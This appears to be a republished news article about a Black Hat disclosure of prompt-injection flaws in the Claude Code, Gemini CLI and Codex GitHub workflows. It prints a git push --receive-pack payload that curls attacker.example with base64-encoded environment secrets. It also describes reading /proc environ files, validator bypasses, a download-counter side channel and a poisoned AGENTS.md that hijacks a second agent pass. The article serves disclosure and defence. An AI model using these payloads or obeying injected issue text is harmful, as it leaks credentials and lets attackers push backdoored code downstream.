Originally published at https://tekmag.thsite.top/claude-code-and-gemini-ci-flaws-exposed-workflow-secrets-via-a-github-issue/
A security researcher demonstrated that a single GitHub issue, opened by
someone with no access to a company's codebase, could steal API keys and
compromise CI runners runningAnthropic's Claude
Code or Google's Gemini CLI. The findings, presented at Black Hat USA on
August 5, exposed a
repeatable attack pattern across three major AI coding agent vendors.
The vulnerability in plain terms
Claude Code and Gemini CLI are AI-powered coding agents that run inside CI/CD
pipelines. They process untrusted input from GitHub issues, pull requests, and
comments, then execute commands on behalf of the repository. A flaw in how
these agents handle that input allows a stranger to open an issue and gain
remote code execution on the vendor's own build infrastructure, with no
credentials required.
Novee Security researcher Elad Meged tested the vulnerability against the
default configurations of Anthropic's own
anthropics/claude-code repository, Google's google-gemini/gemini-cli
repository, and OpenAI's openai/codex repository. All
three ran the same agent workflows on their own infrastructure and all three
were exploitable.
Key Takeaways
- Zero privileges required. A public GitHub issue is enough to trigger the attack chain.
- Secrets leaked through trusted channels. API keys and tokens escaped via the agents' own output features.
- Same pattern across three vendors. Anthropic, Google, and OpenAI all shipped configurations with the same trust gap.
- Supplies compromised downstream. Google's Gemini CLI has roughly two million monthly installs; a backdoor commit reaches every one.
- Both CVEs are unlisted in CISA KEV. As of the announcement, neither CVE-2026-12537 nor CVE-2026-54316 appears on the Known Exploited Vulnerabilities catalog.
How the attack works
Anthropic's Claude Code: three rounds, three bypasses
Claude Code ships with a Bash security pipeline containing twenty-three
validators designed to catch command injection. But the pipeline makes a
critical assumption: content inside single quotes is inert and gets stripped
before validation. That assumption holds for bash itself, but not for programs
that receive the quoted content as an argument and interpret it.
The attacker's payload hid inside a flag value:
git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64 -w0)"' origin HEAD
The validators never saw the payload. Git executed it. The GITHUB_TOKEN and
ANTHROPIC_API_KEY in the runner's environment were exfiltrated through the
workflow's own Step Summary, which is publicly accessible.
Anthropic patched the initial bypass, then the researcher found two more. A
hardcoded list of "read-only" commands included tac but not cat, letting
the researcher read arbitrary files the path-check never caught. Then a regex
guarding /proc/self/environ was bypassed by inserting empty quotes,
producing the same file path bash would resolve.
The final exfiltration channel used HuggingFace's public download counter. The
researcher created 64 model repositories, one per possible character. Claude
Code fetched a URL containing the next character of the secret; HuggingFace
counted the request; the counter revealed which character matched. API key
recovered one byte at a time, through a read-only GET request.
Fixed version: Claude Code 2.1.163. CVE-2026-54316.
Google's Gemini CLI: decorative restrictions
Google's approach was different. Instead of allowlisting individual commands,
Gemini CLI relies on process isolation: the parent process holds the secrets,
and a child process is spawned without them. In theory, a compromised model
can't talk its way past this.
In practice, the tool restriction config was useless. The config line
run_shell_command(echo) was supposed to limit shell access to echo only.
But the code registered the full unrestricted ShellTool for anything matching
the prefix run_shell_command(. The annotation was decorative. --yolo mode
approved every command anyway.
The process isolation was equally incomplete. The child process environment
was sanitized, but the parent kept every secret. Reading /proc/$PPID/environ
from inside the sandbox gave the researcher full access to the parent's
environment: GITHUB_TOKEN, GEMINI_API_KEY, OIDC credentials, everything.
One issue, zero privileges, full shell, stolen token, and a second workflow
dispatch that pushed directly to google-gemini/gemini-cli main. Every
developer with the package installed inherits whatever code the attacker
committed. Google rated the combined vulnerability CVSS 10.0.
Fixed versions: Gemini CLI 0.39.1, run-gemini-cli 0.1.22. CVE-2026-12537.
OpenAI's Codex: a writable instruction file
OpenAI's finding took a different shape. Their issue-deduplication workflow
runs Codex twice in the same job, sharing one workspace. Pass 1 reads the
attacker's issue body and writes results to disk. Pass 2 never sees the issue
directly, but it reads whatever Pass 1 left behind.
The loophole was AGENTS.md, Codex's own default instruction file. It loads
from disk on every invocation and the model treats its contents as
authoritative. OpenAI had correctly identified that files like
.git/hooks/pre-commit and .codex/config.toml should be protected. They
locked those paths in the sandbox. They forgot AGENTS.md.
The attacker wrote a poisoned AGENTS.md during Pass 1. Pass 2 loaded it as
its own instructions. The workflow's validation step actually worked as
designed: the attacker wanted Pass 1's output to fail, because that failure
triggered Pass 2. The check passed because Pass 2 was running the attacker's
instructions, not the original logic.
OpenAI fixed the issue three days after disclosure by splitting Pass 1 and
Pass 2 into separate jobs with independent checkouts. They also removed the
checkout step entirely and made AGENTS.md an explicitly documented untrusted
input surface. But the fix only applies to OpenAI's own repository. Any third
party running the same multi-pass pattern on the same default sandbox
inherited the same exposure.
Why this matters beyond the vendors
The three vendors were the test subjects, not the extent of the problem. Novee
scanned the ecosystem and found the same workflow configurations running on
well over a hundred public repositories. The attack doesn't require privileged
access to any of them. A stranger opens an issue, the workflow fires, the
agent runs. No human interaction needed.
The core issue is structural. When you deploy an AI coding agent, you embed
another codebase into your infrastructure. You inherit every trust decision
its developers made, including the ones that were never documented and can't
be changed. The Claude Code validation pipeline, the Gemini CLI tool
registration, the Codex sandbox rules: each was a correct security decision in
isolation. Each stopped being correct at a handoff, where one part of the
system passes a value to another and the assumptions don't survive the trip.
This isn't a misconfiguration problem. You can't fix it by turning something
off or tightening a setting. The flaws live in the agents' default behavior,
compiled into binaries where no configuration flag reaches them, or enforced
only in the registration phase and abandoned at runtime.
What to do now
If your workflows run Claude Code, Gemini CLI, or Codex on untrusted input,
update immediately.
-
Claude Code: Upgrade to version 2.1.163 or later. Review any custom Bash allowlists and avoid prefix-match patterns like
Bash(git push:*). -
Gemini CLI: Upgrade to version 0.39.1 or later. If you use
--yolomode with untrusted input, audit your tool allowlist syntax. The parenthetical annotation format no longer restricts commands; use the strict allowlist format instead. - Codex: If you run multi-pass Codex workflows sharing a workspace, split them into separate jobs with independent checkouts. Treat every file written by a prior pass as untrusted input.
Neither CVE appears in CISA's Known Exploited Vulnerabilities catalog as of
August 2026. The patches exist. The exposure is real. Upgrading is the only
way to close it.
Conclusion
Three major AI coding agent vendors, three different security architectures,
one shared failure mode: untrusted input reaching execution without adequate
isolation. The attacks required no credentials, no special access, and no
interaction beyond opening a GitHub issue. They reached CI runners, stole
workflow secrets, and could have pushed backdoored code to millions of
downstream installations.
The fixes are available. The question is whether your workflows are running
the patched versions, or still running the defaults that made the attack
possible in the first place.
Frequently Asked Questions
Q: Can anyone exploit these vulnerabilities today?
A: Yes. The attacks require only a public GitHub account and the ability to
open an issue. No repository write access, no authenticated session, and no
knowledge of the target's internal configuration are needed. The researcher
demonstrated the full chain against the vendors' own production repositories.
Q: Are these vulnerabilities specific to GitHub Actions?
A: The reported exploits target GitHub Actions workflows, but the underlying
patterns apply to any CI system that feeds untrusted user input into an AI
agent's execution context. Any automation that triggers an agent based on
issue content, PR descriptions, or comment text is potentially vulnerable if
it runs the same default configurations.
Q: What is the CVSS score for each vulnerability?
A: Google rated the Gemini CLI vulnerability CVSS 10.0, the maximum severity.
Anthropic rated the Claude Code vulnerability CVSS 6.0 (Moderate). OpenAI did
not assign a CVE to the Codex finding, describing it as documented behavior
rather than a software defect.
Q: Why didn't OpenAI assign a CVE?
A: OpenAI's position is that the Codex sandbox behaves exactly as documented:
a workspace-write sandbox allows the agent to read and write files in the
shared directory. The researchers noted that documented behavior does not make
the pattern safe, and that every workflow built this way inherits the same
exposure regardless of whether a CVE exists.
Q: Should I assume my secrets are compromised?
A: If your workflows ran an unpatched version of Claude Code or Gemini CLI on
a repository open to public issues, the risk is real. Rotate any GITHUB_TOKEN,
API keys, or OIDC credentials that were present in those workflows. Check your
audit logs for unexpected workflow runs triggered by issues you did not
author.
Top comments (0)